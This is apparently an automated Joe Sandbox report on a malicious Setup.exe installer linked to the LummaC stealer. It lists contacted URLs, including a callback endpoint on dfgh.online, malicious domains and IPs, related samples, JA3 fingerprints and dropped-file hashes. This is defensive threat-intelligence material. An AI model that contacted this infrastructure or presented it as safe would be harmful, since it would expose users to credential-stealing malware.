https://duckduckgo.com/chrome_newtab	Edgar.com, 0000000D.00000003.2239582625.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2239648627.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe, 00000012.00000000.2473019399.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	false		high
https://certs.securetrust.com/CA0:	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	false		high
https://duckduckgo.com/ac/?q=	Edgar.com, 0000000D.00000003.2239582625.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2239648627.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	false		high
http://repository.certum.pl/cscasha2.cer0	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://ocsp.sectigo.com0	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://ocsp.vikingcloud.com/0A	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	false		high
http://ocsp.entrust.net03	Setup.exe	false		high
http://ocsp.entrust.net02	Setup.exe	false		high
http://certs.securetrust.com/issuers/TWGCA.crt0	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	false		high
http://ocsp.vikingcloud.com/0:	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	false		high
http://crl.usertr	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp	false		high
http://certs.securetrust.com/issuers/VCTWGTSCA_L1.crt0	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	false		high
https://contoso.com/License	powershell.exe, 00000010.00000002.2404996634.0000000005C85000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft6K	powershell.exe, 00000010.00000002.2406936811.00000000075BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dfgh.online/invoker.php?compName=	powershell.exe, 00000010.00000002.2402514310.0000000004C21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dfgh.online/invoker.php?compName=user-PC	powershell.exe, 00000010.00000002.2402514310.0000000004D76000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Edgar.com, 0000000D.00000003.2239582625.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2239648627.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.autoitscript.com/autoit3/	Edgar.com, 0000000D.00000003.2211479741.00000000045EE000.00000004.00000800.00020000.00000000.sdmp, Pics.9.dr	false		high
http://crl.vikingcloud.com/TWGCA.crl0t	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	false		high
https://certs.securetrust.com/CA05	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	false		high
https://www.remobjects.com/ps	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe, 00000012.00000003.2477409236.00000000033BF000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe, 00000012.00000003.2480696445.000000007F24B000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000000.2484536640.0000000000D91000.00000020.00000001.01000000.0000000B.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000000.2510672675.0000000000DDD000.00000020.00000001.01000000.0000000D.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp.18.dr	false		high
http://x1.c.lencr.org/0	Edgar.com, 0000000D.00000003.2281432949.0000000003D18000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Edgar.com, 0000000D.00000003.2281432949.0000000003D18000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/Sectig	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Edgar.com, 0000000D.00000003.2239582625.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2239648627.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	false		high
http://subca.ocsp-certum.com01	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://contoso.com/	powershell.exe, 00000010.00000002.2404996634.0000000005C85000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000010.00000002.2404996634.0000000005C85000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.innosetup.com/	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe, 00000012.00000003.2477409236.00000000033BF000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe, 00000012.00000003.2480696445.000000007F24B000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000000.2484536640.0000000000D91000.00000020.00000001.01000000.0000000B.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000000.2510672675.0000000000DDD000.00000020.00000001.01000000.0000000D.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp.18.dr	false		high
https://sectigo.com/CPS0D	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://michaeluno.jp/H	BrightLib.exe, 00000031.00000002.3023688648.0000000003203000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dfgh.online	powershell.exe, 00000010.00000002.2402514310.0000000004D76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jrsoftware.org0	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://jrsoftware.org/	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://certs.securetrust.com/CA0	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	false		high
https://dfgh.online/invoker.php?compname=	powershell.exe, 00000010.00000002.2406384152.0000000007401000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.entrust.net/ts1ca.crl0	Setup.exe	false		high
http://www.autohotkey.comCould	BrightLib.exe, 00000031.00000000.2975472495.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000031.00000002.3022802026.000000000049A000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	Edgar.com, 0000000D.00000003.2282419483.0000000005A10000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000010.00000002.2402514310.0000000004C21000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.certum.pl/CPS0	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://crl.trustwave.com/TWGCA.crl0n	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000010.00000002.2404996634.0000000005C85000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp	false		high
http://repository.certum.pl/ctnca.cer09	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Edgar.com, 0000000D.00000003.2239582625.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2239648627.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/TWGCSCA_L1.crl0y	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000010.00000002.2402514310.0000000004D76000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.certum.pl/ctnca.crl0k	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000010.00000002.2402514310.0000000004D76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000010.00000002.2402514310.0000000005424000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.entrust.net/rpa03	Setup.exe	false		high
https://aka.ms/pscore6lBcq	powershell.exe, 00000010.00000002.2402514310.0000000004C21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://quantitypitt.click/	Edgar.com, 0000000D.00000003.2319884637.0000000003E05000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000010.00000002.2404996634.0000000005C85000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aia.entrust.net/ts1-chain256.cer01	Setup.exe	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Edgar.com, 0000000D.00000003.2239582625.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2239648627.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Edgar.com, 0000000D.00000003.2281432949.0000000003D18000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/autoit3/X	extrac32.exe, 00000009.00000003.2055746563.00000000070CD000.00000004.00000020.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2211479741.00000000045EE000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000000.2060449993.0000000001035000.00000002.00000001.01000000.00000007.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Edgar.com, 0000000D.00000003.2281432949.0000000003D18000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.autohotkey.com	BrightLib.exe, 00000031.00000000.2975472495.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000031.00000002.3022802026.000000000049A000.00000002.00000001.01000000.0000000F.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	Setup.exe	false		high
https://www.certum.pl/CPS0	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://www.ecosia.org/newtab/	Edgar.com, 0000000D.00000003.2239582625.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2239648627.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Edgar.com, 0000000D.00000003.2282419483.0000000005A10000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.certum.pl/cscasha2.crl0q	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000010.00000002.2402514310.0000000004D76000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.usertru	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cscasha2.ocsp-certum.com04	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://certs.securetrust.com/issuers/TWGCSCA_L1.crt0	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	false		high
https://ac.ecosia.org/autocomplete?q=	Edgar.com, 0000000D.00000003.2239582625.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2239648627.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://crl.vikingcloud.com/VCTWGTSCA_L1.crl0	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Edgar.com, 0000000D.00000003.2281432949.0000000003D18000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.info-zip.org/	BrightLib.exe, 00000031.00000002.3046330812.0000000039FA1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://michaeluno.jp/	BrightLib.exe, 00000031.00000002.3023688648.00000000031D0000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000031.00000002.3024455523.000000000629C000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000031.00000002.3023825851.0000000003310000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000031.00000002.3022868657.0000000000AEE000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.securetrust.com/0?	EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Edgar.com, 0000000D.00000003.2239582625.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2239648627.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	Setup.exe	false		high
https://www.entrust.net/rpa0	Setup.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.186.189	quantitypitt.click	United States	13335	CLOUDFLARENETUS	true
185.161.251.21	cegu.shop	United Kingdom	5089	NTLGB	false
172.67.208.58	klipvumisui.shop	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584504
Start date and time:	2025-01-05 17:54:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Setup.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@84/37@5/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 52% Number of executed functions: 50 Number of non-executed functions: 41
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target BrightLib.exe, PID 5492 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 3040 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:55:01	API Interceptor	1x Sleep call for process: Setup.exe modified
11:55:04	API Interceptor	11x Sleep call for process: Edgar.com modified
11:55:37	API Interceptor	5x Sleep call for process: powershell.exe modified
11:56:35	API Interceptor	1x Sleep call for process: BrightLib.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.186.189	Setup.exe	Get hash	malicious	LummaC	Browse
185.161.251.21	Setup.exe	Get hash	malicious	LummaC	Browse
	Full_Setup.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	SET_UP.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	Active_Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	Active_Setup.exe	Get hash	malicious	LummaC	Browse
	Poket.mp4.hta	Get hash	malicious	LummaC	Browse
172.67.208.58	setup.exe	Get hash	malicious	LummaC	Browse
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse
	@Setup.exe	Get hash	malicious	LummaC	Browse
	does virginia have a no chase law for motorcycles 62848.js	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cegu.shop	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	SET_UP.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Active_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Poket.mp4.hta	Get hash	malicious	LummaC	Browse	185.161.251.21
klipvumisui.shop	Full_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	Active_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.37.128
	re5.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.37.128
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	#Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.37.128
quantitypitt.click	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.186.189

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NTLGB	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	momo.mips.elf	Get hash	malicious	Mirai	Browse	82.18.222.135
	momo.arm.elf	Get hash	malicious	Mirai	Browse	82.17.192.171
	momo.mpsl.elf	Get hash	malicious	Mirai	Browse	82.128.104.220
	momo.arm7.elf	Get hash	malicious	Mirai	Browse	86.15.30.49
	z0r0.m68k.elf	Get hash	malicious	Mirai	Browse	86.17.1.179
	z0r0.x86.elf	Get hash	malicious	Mirai	Browse	81.99.50.70
	z0r0.sh4.elf	Get hash	malicious	Mirai	Browse	81.103.250.108
	z0r0.i686.elf	Get hash	malicious	Mirai	Browse	82.2.230.58
CLOUDFLARENETUS	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.90.109
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	172.67.196.191
	momo.spc.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	momo.ppc.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	momo.sh4.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	momo.x86.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	momo.m68k.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	z0r0.sh4.elf	Get hash	malicious	Mirai	Browse	172.71.176.132
	drop1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	avaydna.exe	Get hash	malicious	Njrat	Browse	104.17.25.14
CLOUDFLARENETUS	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.90.109
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	172.67.196.191
	momo.spc.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	momo.ppc.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	momo.sh4.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	momo.x86.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	momo.m68k.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	z0r0.sh4.elf	Get hash	malicious	Mirai	Browse	172.71.176.132
	drop1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	avaydna.exe	Get hash	malicious	Njrat	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 172.67.186.189 185.161.251.21
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 172.67.186.189 185.161.251.21
	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 172.67.186.189 185.161.251.21
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 172.67.186.189 185.161.251.21
	3jL3mqtjCn.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 172.67.186.189 185.161.251.21
	file.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	172.67.208.58 172.67.186.189 185.161.251.21
	J18zxRjOes.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 172.67.186.189 185.161.251.21
	ZxSWvC0Tz7.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 172.67.186.189 185.161.251.21
	SOElePqvtf.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 172.67.186.189 185.161.251.21
	m4lz5aeAiN.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 172.67.186.189 185.161.251.21

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	9W9jJCj9EV.bat	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse
	RisingStrip.exe	Get hash	malicious	Vidar	Browse
	Active_Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	CenteredDealing.exe	Get hash	malicious	Vidar	Browse
	CenteredDealing.exe	Get hash	malicious	Vidar	Browse
	over.ps1	Get hash	malicious	Vidar	Browse
	MatAugust.exe	Get hash	malicious	Vidar	Browse
	6684V5n83w.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
